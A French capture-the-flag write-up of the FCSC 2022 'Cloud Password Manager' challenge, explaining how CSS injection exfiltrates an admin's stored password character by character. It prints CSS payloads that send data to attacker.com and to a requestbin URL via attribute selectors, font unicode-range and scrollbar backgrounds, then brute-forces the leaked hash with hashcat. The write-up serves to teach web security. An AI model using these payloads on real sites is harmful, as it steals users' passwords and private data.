Exfiltration CSS avancée
Write-up du challenge Cloud Password Manager du CTF FCSC (édition 2022)
Le
Bonjour lecteurs ! Pour cet avant-dernier write-up du FCSC édition 2022, je veux propose d'aborder le challenge intitulé Cloud Password Manager.
Ce challenge permet de mettre en application une forme avancée d’exfiltration de données reposant sur l’injection de code CSS. Cette technique, bien que moins courante que les attaques XSS (qui, elles, s’appuient sur l’injection de JavaScript) reste une attaque Web côté client. Le langage CSS offrant naturellement peu de fonctionnalités exploitables à des fins malveillantes, ce type d’exfiltration est souvent complexe à mettre en œuvre. Cependant, lorsqu’elle est possible, elle peut conduire à des résultats particulièrement intéressants.
Le challenge
Le challenge est constitué d'une application Web de gestionnaire de mot de passe qui, comme son nom l'indique, permet de stocker des mots de passe. Celui-ci semble s'être fait pirater, comme le montre le message ci-dessous, exposé sur la page principale.

Ce message nous donne déjà quelques informations importantes : on obtient le condensat du mot de passe de l’admin, ainsi que la taille de son mot de passe (12). On apprend également que l’admin a stocké son mot de passe sur le site, ce qui favorise l'hypothèse d'une exfiltration de donnée de la part des attaquants.
L'objectif est simple, comprendre comment ils ont fait et retrouver le mot de passe de l'administrateur !
Le site web est composé de 4 pages :
- /password, pour afficher et envoyer des mots de passe à stocker sur le site ;
- /style, pour ajouter du code CSS sur notre page et bénéficier d’un design personnalisé ;
- /upload, pour envoyer notre code CSS personnalisé à l’admin.
Cette dernière fonctionnalité est très intéressante d'un point de vue offensif : le fait que l’on puisse envoyer du code CSS à l’admin, et que celui-ci se verra interprété sur une page qui comporte son mot de passe nous laisse clairement penser qu’il s’agit d’une attaque d’exfiltration de donnée côté client (une XSS si l'injection de code JavaScript est possible, une exfiltration CSS sinon).
Après quelques tests rapides, l'hypothèse de la XSS est écartée, car les chevrons < et > sont sanitisés, comme le montre la capture ci-dessous.

On remarque cependant que le code CSS injecté est directement réfléchi sur la page, dans des balises <style>, ce qui confirme l'hypothèse d'une exploitation par injection de code CSS.
On prend quelques informations supplémentaires avant de passer à l’étape suivante :

Le premier mot de passe se situe dans un div d’id p1
L'exfiltration CSS
Il existe plusieurs méthodes pour extraire des données via du code CSS. Le choix de cette méthode dépend de l'emplacement de la donnée à extraire sur la page (dans un input, un div etc.). Par exemple, pour exfiltrer une valeur contenue dans un input, on pourrait utiliser le style malveillant suivant :
input[name=password_input][value=^a] {
background-image: url(http://attacker.com/log?a);
}
Si le mot de passe commence par un a, alors le backgroud de l'input sera changé et l'attaquant recevra une requête de sa victime sur son serveur.
Dans notre cas l’information à extraire se situe dans un div, ce qui complique la tâche (car oui, en CSS on ne peut pas exfiltrer directement le contenue d’un div comme celui d'un input).
J'ai choisi d'utiliser la technique « unicode-range of @font-face / font ligatures + scrollbar pseudo-elements »
Unicode-range of @font-face / font ligatures et scrollbar pseudo-element
Le principe est le suivant : on va redimensionner le div #p1 jusqu’à ce qu'il atteigne une certaine largeur limite. De cette manière, si l’on change l’épaisseur d’un caractère du mot de passe alors celui-ci dépassera du div (unicode-range of @font-face / font ligatures). En cas de dépassement du texte dans le div, on empêche le retour à la ligne et on met une scrollbar horizontale (scrollbar pseudo-element). Enfin, on va mettre un background à la scrollbar horizontal, background qui pointera vers un requestbin (un serveur web sous mon contrôle qui log les requêtes HTTP qu'il reçoit).
#p1{
width: 243px; /* Largeur limite */
font-size: 30px;
overflow-x: auto; /* Activer la scrollbar horizontale */
white-space: nowrap; /* Empêcher le retour à la ligne */
}
#p1::-webkit-scrollbar{ background: blue; }
#p1::-webkit-scrollbar:horizontal { background: url(http://requestbin.net/r/5dd3rm3l?leak); }
On crée ensuite deux polices d’écritures, une d'épaisseur plus grande que l’autre. On met un unicode-range à la police la plus épaisse. La propriété unicode-range permet d'appliquer la police d’écriture à des caractères prédéfinis : par exemple « unicode-range : u+0061 » appliquera la police uniquement sur les caractères « a » (0x61 en notation hexadécimale). On a alors le style suivant :
@font-face{
font-family: Rockn;
src: url(/static/fonts/Georgia.ttf);
}
@font-face{
font-family: nRockn;
src: url(/static/fonts/GeorgiaBold.ttf);
unicode-range: U+0060;
}
Ce qui nous donne pour l’ensemble de notre CSS :

Automatisation
Il nous faut maintenant automatiser le processus d'exploitation, afin de tester chaque caractère. Pour cela j'ai programmé un "petit" script Python, qui se charger de concevoir puis d’envoyer les styles d’exfiltration de chaque caractère à l’admin. NB: Le script n'est pas très propre, je m'en excuse. 😟


On obtient ainsi sur notre requestbin les caractères qui composent notre mot de passe.

Ils sont : « hkmquGIOST24 »
Bruteforcer le mot de passe
Maintenant que l'on connait les caractères composant le mot de passe (hkmquGIOST24), et que l'on connait sa taille (12), on peut générer une wordlists composée de toutes les combinaisons possibles.

Or on connait le condensat de l'administrateur, celui-ci a été divulgué par les hackeurs. On le met au bon format pour pouvoir utiliser l'outil hashcat.

On peut maintenant lancer le bruteforce.

On obtient ainsi le mot de passe de l’admin

On peut ensuite se connecter, et récupérer le flag

Et hop, c'est gagné !